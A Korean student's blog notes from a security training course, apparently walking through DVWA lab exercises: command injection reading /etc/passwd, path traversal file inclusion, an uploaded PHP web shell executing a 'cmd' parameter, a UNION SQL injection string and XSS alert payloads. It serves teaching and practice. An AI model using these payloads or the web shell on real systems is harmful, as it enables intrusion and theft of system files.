본문 바로가기
SK shieldus Rookies 16기

[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(14일차)

by Challenge programmers 2023. 11. 10.

오늘 학습 주제

1. Kali Linux를 공격 실습

 

 

 

 

Kali Linux를 공격 실습


- Command Injection -

공격자가 악의적인 명령어를 응용 프로그램에 주입하여 실행시키는 기술로

주로 웹 응용 프로그램에서 발생하는 보안 취약점

 

실습을 위하여 보안 수준을 낮춰 Command Injection이 잘 작동하도록 설정을 변경한다

이후 왼쪽 사이드바에서 [Command injection] 항목을 선택한다

 

[Command Injection]을 선택하면 입력 필드가 나오는데 IP Address나 URL을 입력하면

입력된 곳으로 Ping을 확인하는 것을 알 수 있다

이 입력 필드가 실행하는 것은 다음과 같은 명령어임을 추측할 수 있다

ping <input>

 

그렇기에 추가적인 명령어를 입력하면 다른 결과값을 확인할 수 있을 것이다

google.com; cat /etc/passwd

 

cat 명령어는 파일들을 순서대로 읽어 출력하는 명령어로

/etc/passwd에 있는 것을 읽어 출력할 것이다

 

 

-File Inclusion -

웹 애플리케이션에서 사용자 입력을 받아 이를 동적으로 파일 경로로 사용할 때

적절한 검증이나 제한 없이 사용되어 발생할 수 있는 취약점

 

주소입력창을 보면 쿼리 무자열이 파일을 동적으로 로드하게 되어 있다

이를 이용하면 'page' 뒤에 추가적인 경로를 입력하여 사용이 가능하다

http://10.10.229.208/vulnerabilities/fi/?page=../../hackable/flags/fi.php

다음과 같은 URL을 입력하면 지정된 경로의 파일을 확인할 수 있다

 

 

- File Upload -

웹 애플리케이션에서 사용자가 업로드한 파일을 안전하게 처리하지 않을 때 발생하는 보안 취약점

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

File Upload 취약점을 이용하여 상단의 backdoor.php파일을 업로드하여

브라우저에서 명령어를 실행할 것이다

 

취약점을 이용하여 파일을 업로드 하였기에 파일의 URL과 명령어를 입력하면 사용이 가능하다

 

http://10.10.234.80/hackable/uploads/backdoor.php?cmd=cat+/etc/passwd

 

업로드된 파일과 명령어로 passwd를 확인할 수 있다

 

 

- SQL Injection -

악의적인 사용자가 웹 애플리케이션의 입력 폼 등을 통해 SQL 쿼리를 주입하여

데이터베이스를 비정상적으로 조작하거나 정보를 빼내는 공격 기법

1' OR 1=1 UNION SELECT 1,DATABASE() #

 

상단의 SQL 쿼리를 입력하면 데이터와 함께 데이터베이스의 이름을 확인할 수 있다

SQL Injection취약점이 존재하는 필드에 SQL쿼리를 입력하면 결과는 다음과 같다

 

마지막 줄을 보면 데이터와 함께 DB의 이름인 dvwa가 출력이 된다

 

 

- XSS -

공격자가 악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의

브라우저에서 실행되도록 하는 보안 취약점

 

《 Reflected XSS 》

악의적인 스크립트가 사용자에게 직접 반환되어 실행되는 형태의 XSS 공격

<script> alert("You have been hacked!"); </script>

 

 

Reflected XSS 취약점이 존재하는 사이트에 상단의 스크립트를 입력한다면 

브라우저는 그 코드를 그대로 실행할 것이다

 

이때 이 사이트의 URL을 확인하면 다음과 같다

 

http://10.10.151.212/vulnerabilities/xss_r/
?name=%3Cscript%3E+alert%28%22You+have+been+hacked%22%29%3B+%3C%2Fscript%3E#

 

URL에 공격을 위해 작성한 스크립트가 포함이 되어 있다

이 취약점을 이용하면 스크립트가 포함된 링크를 보내 악의적인 행동이 가능하다

 

Stored XSS

악의적인 스크립트가 서버에 저장되어, 해당 스크립트가 사용자에게

반환되고 실행되는 형태의 XSS 공격

<script> alert("You have been hacked!"); </script>

 

Stored XSS 취약점이 존재하는 사이트에 상단의 스크립트를 입력한다면 

브라우저는 그 코드를 그대로 자신의 서버에 저장을 한다

스크립트가 저장된 사이트는 새로고침을 하더라도 스크립트가 이미 저장되어 있기에

같은 결과가 나온다

 

 

DOM-based XSS

Document Object Model(DOM)을 조작하여 발생하는 XSS 공격으로

클라이언트 측에서 스크립트가 실행

 

해당 사이트에서 'Select'버튼을 누른다면 선택한 값이 적용이 된다

 

URL을 보면 버튼을 눌러 설정한 파라미터 값이 URL에 설정된 것이 보인다

 

DOM을 보면 매개 변수에 입력한 값이 내부의 태그를 다시 반영한다는 것을 알 수 있다

변수에 스크립터를 입력하면 알림창이 팝업된다

DOM에는 입력한 스크립트가 DOM의 일부로 저장되어 있다

 

 

 

 

참고

https://www.stackzero.net/command-injection-dvwa/

https://ethicalhacs.com/dvwa-dom-xss-exploit/